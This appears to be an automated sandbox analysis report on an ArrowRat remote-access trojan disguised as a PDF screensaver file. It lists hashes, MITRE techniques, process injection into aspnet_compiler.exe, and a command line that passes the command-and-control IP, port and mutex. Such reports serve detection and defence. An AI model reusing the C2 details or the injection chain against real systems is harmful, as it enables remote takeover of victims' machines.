arrowrat | 7a1169c28429d01bf8437122048fee12b9c8bdeae7eb49bd3d4e61965b294fd7

Analysis

max time kernel
151s
max time network
145s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 03:13

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General

Target

MOQ_T7FIBA00541·PDF .scr
Size

670KB
MD5

48a5e2b45923213e94a82d30db1eb988
SHA1

eb3c3aeb61e6e20b149cbd966f60c81a8215e8b0
SHA256

19fa9896468d7dd79d76fa27b34f66e13b6c5268cdd574c0a78eeb0e3dbeb839
SHA512

13edc7b141a8bd854a07ec70371f6fe59055d1dfe4127e3912992181d983e710f990d0cfcaa294e5da8e37ab757efb93133382625e210c47823885586fc536da
SSDEEP

12288:PBzhfOS3GXJNUwCpoOekXOS6zjwehALsCGlhcBd:phfOS3sJWwvOeYCras

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

192.159.99.3:1337

Mutex

qawNWRCCU

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies Installed Components in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1956 set thread context of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 2564 set thread context of 580	2564	aspnet_compiler.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2552	ipconfig.exe
2496	ipconfig.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2564	aspnet_compiler.exe
2564	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	aspnet_compiler.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe
Token: SeShutdownPrivilege	1744	explorer.exe

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe

Suspicious use of SendNotifyMessage 19 IoCs

pid	Process
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe
1744	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2564	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 2704	1956	MOQ_T7FIBA00541·PDF .scr	28
PID 1956 wrote to memory of 2704	1956	MOQ_T7FIBA00541·PDF .scr	28
PID 1956 wrote to memory of 2704	1956	MOQ_T7FIBA00541·PDF .scr	28
PID 1956 wrote to memory of 2704	1956	MOQ_T7FIBA00541·PDF .scr	28
PID 2704 wrote to memory of 2552	2704	cmd.exe	30
PID 2704 wrote to memory of 2552	2704	cmd.exe	30
PID 2704 wrote to memory of 2552	2704	cmd.exe	30
PID 2704 wrote to memory of 2552	2704	cmd.exe	30
PID 1956 wrote to memory of 2452	1956	MOQ_T7FIBA00541·PDF .scr	33
PID 1956 wrote to memory of 2452	1956	MOQ_T7FIBA00541·PDF .scr	33
PID 1956 wrote to memory of 2452	1956	MOQ_T7FIBA00541·PDF .scr	33
PID 1956 wrote to memory of 2452	1956	MOQ_T7FIBA00541·PDF .scr	33
PID 2452 wrote to memory of 2496	2452	cmd.exe	35
PID 2452 wrote to memory of 2496	2452	cmd.exe	35
PID 2452 wrote to memory of 2496	2452	cmd.exe	35
PID 2452 wrote to memory of 2496	2452	cmd.exe	35
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 1956 wrote to memory of 2564	1956	MOQ_T7FIBA00541·PDF .scr	36
PID 2564 wrote to memory of 1744	2564	aspnet_compiler.exe	37
PID 2564 wrote to memory of 1744	2564	aspnet_compiler.exe	37
PID 2564 wrote to memory of 1744	2564	aspnet_compiler.exe	37
PID 2564 wrote to memory of 1744	2564	aspnet_compiler.exe	37
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 2564 wrote to memory of 580	2564	aspnet_compiler.exe	38
PID 1744 wrote to memory of 2764	1744	explorer.exe	39
PID 1744 wrote to memory of 2764	1744	explorer.exe	39
PID 1744 wrote to memory of 2764	1744	explorer.exe	39

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MOQ_T7FIBA00541·PDF .scr
"C:\Users\Admin\AppData\Local\Temp\MOQ_T7FIBA00541·PDF .scr" /S
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ipconfig /release
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:2552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ipconfig /renew
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /renew
    3⤵
    - Gathers network information
    PID:2496
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Modifies Installed Components in the registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:2764
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.159.99.3 1337 qawNWRCCU
    3⤵
    PID:580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/580-25-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-36-0x0000000074050000-0x000000007473E000-memory.dmp

Filesize
6.9MB

Download
memory/580-45-0x0000000074050000-0x000000007473E000-memory.dmp

Filesize
6.9MB

Download
memory/580-27-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-23-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-21-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-32-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-37-0x00000000047E0000-0x0000000004820000-memory.dmp

Filesize
256KB

Download
memory/580-30-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-35-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/580-29-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/1744-42-0x0000000003DE0000-0x0000000003DE1000-memory.dmp

Filesize
4KB

Download
memory/1744-46-0x0000000003DE0000-0x0000000003DE1000-memory.dmp

Filesize
4KB

Download
memory/1956-6-0x00000000740D0000-0x00000000747BE000-memory.dmp

Filesize
6.9MB

Download
memory/1956-17-0x00000000740D0000-0x00000000747BE000-memory.dmp

Filesize
6.9MB

Download
memory/1956-0-0x0000000000270000-0x000000000031E000-memory.dmp

Filesize
696KB

Download
memory/1956-2-0x0000000002140000-0x0000000002190000-memory.dmp

Filesize
320KB

Download
memory/1956-7-0x0000000004950000-0x0000000004990000-memory.dmp

Filesize
256KB

Download
memory/1956-1-0x00000000740D0000-0x00000000747BE000-memory.dmp

Filesize
6.9MB

Download
memory/1956-5-0x0000000004670000-0x00000000046BC000-memory.dmp

Filesize
304KB

Download
memory/1956-4-0x0000000000640000-0x000000000067E000-memory.dmp

Filesize
248KB

Download
memory/1956-3-0x0000000004950000-0x0000000004990000-memory.dmp

Filesize
256KB

Download
memory/2564-9-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2564-20-0x0000000074050000-0x000000007473E000-memory.dmp

Filesize
6.9MB

Download
memory/2564-19-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2564-33-0x0000000001300000-0x0000000001340000-memory.dmp

Filesize
256KB

Download
memory/2564-16-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2564-14-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2564-11-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2564-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2564-43-0x0000000074050000-0x000000007473E000-memory.dmp

Filesize
6.9MB

Download
memory/2564-44-0x0000000001300000-0x0000000001340000-memory.dmp

Filesize
256KB

Download
memory/2564-8-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2564-10-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download